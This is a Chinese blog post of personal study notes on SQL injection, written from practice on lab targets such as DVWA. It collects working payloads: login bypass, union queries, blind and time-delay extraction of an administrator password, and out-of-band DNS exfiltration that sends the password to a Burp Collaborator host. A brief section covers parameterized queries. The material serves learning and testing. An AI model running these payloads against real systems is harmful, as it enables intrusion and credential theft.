蜗牛真理

导航

Sql注入

本菜觉得其实无论什么注入,不用纠结于什么先数字型、字符型等等一系列的步骤方法,就是通过对于数据库sql语法的熟悉,在数据交汇的地方,输入出现错误了,去试着拼成能够获取你所想要信息的语句,且其能在程序中执行,逐次尝试,直到成功,反复熟能生巧,由徒为师。

先后试过了dvwa,burpsuit在线靶场等,还有看表哥们,觉得基本的手注理解会了,像比较繁琐的盲注可以使用是sqlmap,何况还能看到它的payload,自己还可以改pamer,有了工具不去提高效率,未免有点南辕北辙了。

0X00 sql注入

首先理解sql注入就是使数据库执行恶意sql语句,这里应该理解为一阶注入,相对应的二阶注入就是提前将恶意sql语句存入数据库,然后再和数据库交互的时候,正常sql语句结合恶意sql语句形成注入。

其次用到的一些函数与数据库类型高度相关,有可能思路对了,但是命令函数错付了对象,mysql命令用在了Oracle身上,就悲催,

0X01

 

sql注入之检索隐藏内容

考虑一个情况,就是分类显示的时候,这样在注入点输入'or+1=1-- 使得永真,显示全部内容,这种情况也就是常常好多表哥说的随便输入下特殊字符,看看有没有异常啦。

sql注入之颠覆应用逻辑

其实与检索隐藏内容一致,不过这里因为应用场景的不同而说法不一,这里就是万能密码,eg:administrator'or+1=1--  这样直接就是绕过了密码,直接登录,当然当前这种近乎于绝迹?毕竟这样写的程序员都被开除了。

SQL注入之union攻击

这里首先认识到union这个关键字语法,其中union关联的每一个select语句列数必须相同,数据类型兼容或相同。

所以在执行union攻击的时候,或者说但凡涉及应用union的时候,都必须先要确定:

union关联语句的列数,有两种办法发,其一针对where语句中的注入点,'order+by+1(2、3……)这样去试试;其二是使用select查询,'union+select+null--  'union+select+null,null--  顺次增加null列去尝试,从而得出有多少列数。

union关联语句的数据类型,因为union关联的原始查询是text类型,是人们常直观看到的显示类型,直接尝试'union+select+'a',null-- 'union+select+null,‘a’-- 这样去试试,显示出来a的就是text类型,保证应用union读取出来的数据可以直接直观阅读显示。

 

应用union攻击,如场景一依靠原始查询关联查询出其他表格中的内容,比如查询用户名及密码user表格,'union+select+user+username+||+'~'+||+password+from+users--;场景二查看数据库版本等信息,'union+select+@version--  mysql/mssql  'union+select+banner+from+v$version  oracle 'union+select+version()-- postgresql

0X02 sql盲注

之前都是在响应中有所差异,当差异变小或者没有差异的时候,就是需要其他判断条件了,比如时间长短,带外注入这些的……

响应条件变小:

考虑一个使用跟踪cookie收集有关使用情况的分析的应用程序。对应用程序的请求包含如下cookie头:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

TrackingId处理 包含Cookie的请求时,应用程序将使用以下SQL查询来确定该用户是否是已知用户:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此查询易受SQL注入的攻击,但查询结果不会返回给用户。但是,应用程序的行为会有所不同,具体取决于查询是否返回任何数据。如果它返回数据(因为TrackingId已提交已识别的数据),则页面内将显示“欢迎回来”消息。

此行为足以通过根据注入的条件有条件地触发不同的响应来利用盲目的SQL注入漏洞并检索信息。要查看其工作原理,假设发送了两个请求TrackingId,依次包含以下cookie值:

xyz' UNION SELECT 'a' WHERE 1=1--
xyz' UNION SELECT 'a' WHERE 1=2--

这些值中的第一个将使查询返回结果,因为注入的or 1=1条件为true,因此将显示“ Welcome back”消息。而第二个值将导致查询不返回任何结果,因为注入的条件为假,因此将不会显示“欢迎回来”消息。这使我们能够确定任何单个注入条件的答案,从而一次提取一位数据。

例如,假设有一个叫做表Users与列Username和Password,和被叫用户Administrator。通过发送一系列输入来一次测试一个字符的密码,我们可以系统地确定该用户的密码。

为此,我们从以下输入开始:

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--

这将返回“ Welcome back”消息,指示注入的条件为true,因此密码的第一个字符大于m。

接下来,我们发送以下输入:

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--

这不会返回“ Welcome back”消息,表明插入的条件为假,因此密码的第一个字符不大于t。

最终,我们发送以下输入,返回“ Welcome back”消息,从而确认密码的第一个字符为s:

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--

我们可以继续此过程,以系统地确定Administrator用户的完整密码。

 

触发错误,如除0错误:

'union+select+case+when(1=1)+then+1/0+else+null+end--  触发错误

'union+select+case+when(1=2)+then+1/0+else+null+end--  不触发错误

 

延时注入:

HTTP响应和数据库查询同步时才可以用,使得数据库查询慢下来,也就是使得相应的HTTP响应慢下来,活获得注入时间长短提示:

'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

tips:可以借助bp的子母弹攻击模式爆破

这里与数据库类型高度相关,不同数据库的延时函数不同,同时各种前置条件:确实数据库版本类型及union列数和数据类型等等都要做好。

1 Oracle          SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
2 Microsoft       IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
3 PostgreSQL      SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
4 MySQL           SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

 

 

带外注入OAST:

当HTTP响应和数据库查询异步时,HTTP响应不依赖于数据库查询的反馈了,这样就需要外部网络与所想要控制的网络进行交互,各种网络协议都可以使用于此,但是由于DNS服务在大多数场景下都是允许自由出入的,所以使用DNS协议。

使用带外技术的最简单,最可靠的方法是使用Burp Collaborator。这是一台服务器,提供各种网络服务(包括DNS)的自定义实现,并允许您检测由于将单个有效负载发送给易受攻击的应用程序而导致何时发生网络交互。Burp Suite Professional内置了对Burp Collaborator的支持,无需进行任何配置。

触发DNS查询的技术与所使用的数据库类型高度相关。在Microsoft SQL Server上,可以使用类似以下的输入来在指定域上引起DNS查找:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

这将导致数据库对以下域执行查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

您可以使用Burp Suite的Collaborator客户端生成唯一的子域,并轮询Collaborator服务器以确认何时进行任何DNS查找。

dns查询:

 1 Oracle        以下技术利用XML外部实体(XXE)漏洞来触发DNS查找。该漏洞已得到修补,但是存在许多未修补的Oracle安装:
 2               SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
 3 
 4               以下技术可用于完全修补的Oracle安装,但需要提升的特权:
 5               SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
6 Microsoft exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
7 PostgreSQL copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
8 MySQL 以下技术仅适用于Windows: 9 LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') 10 SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

确定了触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此输入读取Administrator用户的密码,附加唯一的Collaborator子域,并触发DNS查找。这将导致如下所示的DNS查找,从而允许您查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

带外(OAST)技术是检测和利用盲SQL注入的一种非常强大的方法,这是因为成功的可能性很高,并且能够直接在带外通道中泄漏数据。因此,即使在其他盲目开采技术确实起作用的情况下,OAST技术也通常是首选的。

注意:有多种触发带外交互的方法,并且不同的技术适用于不同类型的数据库。

0X03 预防注入

参数化查询,以参数代替用户输入,对用户输入自动做参数化相关安全性检查,看作一种封装技术就行,同时也提高了查询反应效率,两全其美。

 

dvwa尝试心得

1.不要囿于什么狗屁的概念,发现错误,研究错误,猜测它是如何产生,去验证,利用错误。

2.当数据库编码为GBK的时候才能用宽字节注入,其与程序端无关。

3.当单引号被转义,试试16进制绕过,记得空格

4.学会利用工具,减少失误与增长见识

 

posted on 2020-10-10 11:05  蜗牛真理  阅读(166)  评论(0编辑  收藏  举报